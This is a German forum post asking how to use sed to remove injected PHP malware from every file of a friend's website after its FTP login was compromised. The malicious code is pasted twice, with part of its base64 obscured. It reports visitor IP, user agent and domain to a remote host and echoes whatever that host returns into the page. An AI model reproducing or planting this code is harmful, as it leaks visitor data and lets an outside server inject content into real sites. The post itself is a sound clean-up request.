die Website von eine Freund wurde mithilfe seiner FTP Zugangsdaten mit schadcode infiziert. soweit ich das überblicke, wurde in alle Dateien ein Code eingefügt:
die base64 habe ich aus sicherheitsgründen geändert.<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chro$
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'XXXXXXXXXXXXXXXXX2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urle$
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>
ich würde gerne die Dateien automatisiert säubern. sed bietet sich da ja an .. ich habe die Zeilenumbrüche schon konvertiert ..
doch es kommen unheimlich viele sonderzeichen darin vor die sicher escapt werden müssen. denn so klappt das nicht .. ich bekomme zB syntax error near unexpected token `(' ...<?php\nif (!isset($sRetry))\n{\nglobal $sRetry;\n$sRetry = 1;\n // This code use for global bot statistic\n $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot\n $stCurlHandle = NULL;\n $stCurlLink = "";\n if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chro$\n {\n if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics \n $stCurlLink = base64_decode( 'XXXXXXXXXXXXXXXXXXXXYXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urle$\n @$stCurlHandle = curl_init( $stCurlLink ); \n }\n } \nif ( $stCurlHandle !== NULL )\n{\n curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);\n $sResult = @curl_exec($stCurlHandle); \n if ($sResult[0]=="O") \n {$sResult[0]=" ";\n echo $sResult; // Statistic code end\n }\n curl_close($stCurlHandle); \n}\n}\n?>
weis jemand wie ich das machen kann oder den text automatisiert escapen kann das ich das in sed einsetzen kann?
danke ..